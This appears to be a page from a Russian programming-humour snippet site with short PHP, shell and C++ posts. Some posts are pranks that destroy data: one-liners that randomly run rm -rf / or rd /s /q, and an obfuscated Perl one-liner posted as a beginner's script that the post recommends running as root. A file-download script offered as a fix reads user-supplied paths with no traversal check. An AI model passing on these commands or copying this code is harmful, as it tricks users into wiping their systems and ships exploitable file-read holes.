Посты за сегодня:

Pixel Чтобы добавлять в избранное, нужно авторизироваться

php / Скачивание файлов с именем на русском языке (кириллице)

$file = $_GET['file'];
if (substr($file, -4, 4) !== ".doc")
  die();

$file=iconv("UTF-8", "windows-1251", $file);
if (!file_exists("./".$file))
  die();

header('Content-type: application/doc');
header('Content-Disposition: attachment; filename="'.$file.'"');
readfile($file);
Если по FTP на сайт закачаны файлы с кириллическими именами, то скачивание напрямую может не работать из-за кириллицы. Все зависит от кодировок сервера и сайта. Например кодировки сайта "windows-1251". Решение задачи без переименовывания файлов и правки php скриптов на примере файлов с расширением ".doc". В .htaccess: RewriteRule ^(.*\.doc)$ download.php?file=$1 В download.php приведенный выше код. Так же может пригодится rawurldecode (применять только к отдельным сегментам uri)
2010-08-31 18:32:42
Pixel Чтобы добавлять в избранное, нужно авторизироваться

php / $obj = new SomeClass() vs. $obj =& new SomeClass()

$obj = new SomeClass();
//Total time: 678 µs
//+ 100 %


$obj =& new SomeClass();
//Total time: 709 µs
//+ 105 %
Итог: явное присваивание по ссылке & в php5 не играет большой роли, только усложняет чтение кода
2010-08-31 17:06:51
Pixel Чтобы добавлять в избранное, нужно авторизироваться

php / For vs. While

for($i = 0; $i < 1000000; ++$i);
//Total time: 115263 µs
//+ 100 %

$i = 0; while($i < 1000000) ++$i;
//Total time: 117311 µs
//+ 102 %
Итог: цикл for действительно чуть-чуть быстрее
2010-08-31 17:04:02
Pixel Чтобы добавлять в избранное, нужно авторизироваться

php / Real programmers don't comment their code

/*
 * DONT COMMENT
 */
"Real programmers don't comment their code. If it was hard to write, it should be hard to understand."
2010-08-20 23:29:57
Pixel Чтобы добавлять в избранное, нужно авторизироваться

php / Подстава от php4

class Object {
    function Object(){
        ...
    }
...
}

class AdminObject extends Object 
{
    function AdminObject() {
        $par = get_parent_class($this);
        $this->$par();
    }
    ...
}
Если переделать конструктор в php5 синтаксисе, то можно словить фатал: class Object { public __construct(){ ... } ... }
2010-07-08 18:36:17
Pixel Чтобы добавлять в избранное, нужно авторизироваться

На правах рекламы

Icon-rating-openIcon-rating-openIcon-rating-openIcon-rating-openIcon-rating-open
2010-09-04 12:52:04

Лучшие посты:

Pixel Чтобы добавлять в избранное, нужно авторизироваться

php / Удаление файлов по маске

$ rm *.{png, gif, jpg}
$ find ./ -name '*.png' -exec rm -f {} \;
2009-06-08 14:21:55
Pixel Чтобы добавлять в избранное, нужно авторизироваться

php / Twitto - "совершенный" framework

require __DIR__.'/c.php';
if (!is_callable($c = @$_GET['c'] ?: function() { echo 'Woah!'; }))
  throw new Exception('Error');
$c();
twitto.org
2009-03-09 14:23:00
Pixel Чтобы добавлять в избранное, нужно авторизироваться

php / криптомаразм

if ($____) $_____ = ____($_____);
$_______++; 
$____ = '';
return $_____;
В нашей конторе как-то думали над методами запутывания кода, при сохранении его в открытом виде. Из всех предложенных решений верхом совершенства был признан следующий метод: имена всех переменных и функций заменяются на символы подчеркивания. А чтоб не перепуталось, каждой переменной присваивается собственное количество подчеркиваний. $attempt_no = $___, $email = $____, $login = $_____, $pass = $______, crypt() = ____() и так далее. Представляешь себе код?
2008-11-13 10:19:30
Pixel Чтобы добавлять в избранное, нужно авторизироваться

php / "Русская Рулетка" или доработанный "Патч Бармина"

//под *nix
# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Жив"

//под windows
C:\>set /a R=0+6*%random%/32768 && if %R% == 0 (rd /s /q .\) else (echo ЖИВ)
Перед игрой желательно запастись успокаительным или пузырем водки. Выполнять команду нужно исключительно под рутом и после нажатия enter иди пить <подставить_свой_напиток>.
2008-10-07 19:41:07
Pixel Чтобы добавлять в избранное, нужно авторизироваться

php / Незатейливый скрипт для нубов

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 
Рекомендуется выполнять от рута Хорошее описание на http://lurkmore.ru/Rm_-rf
2008-10-07 18:08:24
Pixel Чтобы добавлять в избранное, нужно авторизироваться

c++ / Определение константы

const int DOHUYA = 1048576;
В одном из крупных проектов
2008-08-06 16:43:51
Pixel Чтобы добавлять в избранное, нужно авторизироваться

php / Зарплата реального программера

$paycheck = 100;
$i = 0;
do {
  $val = rand (0, 150);
  $i++;
} while ($val < $paycheck )
$message  = "Реальный программер зарабатывает ".$paycheck ."$ в час."
$message .= "Но таких – 1 программер на $i.";
2008-06-26 08:39:49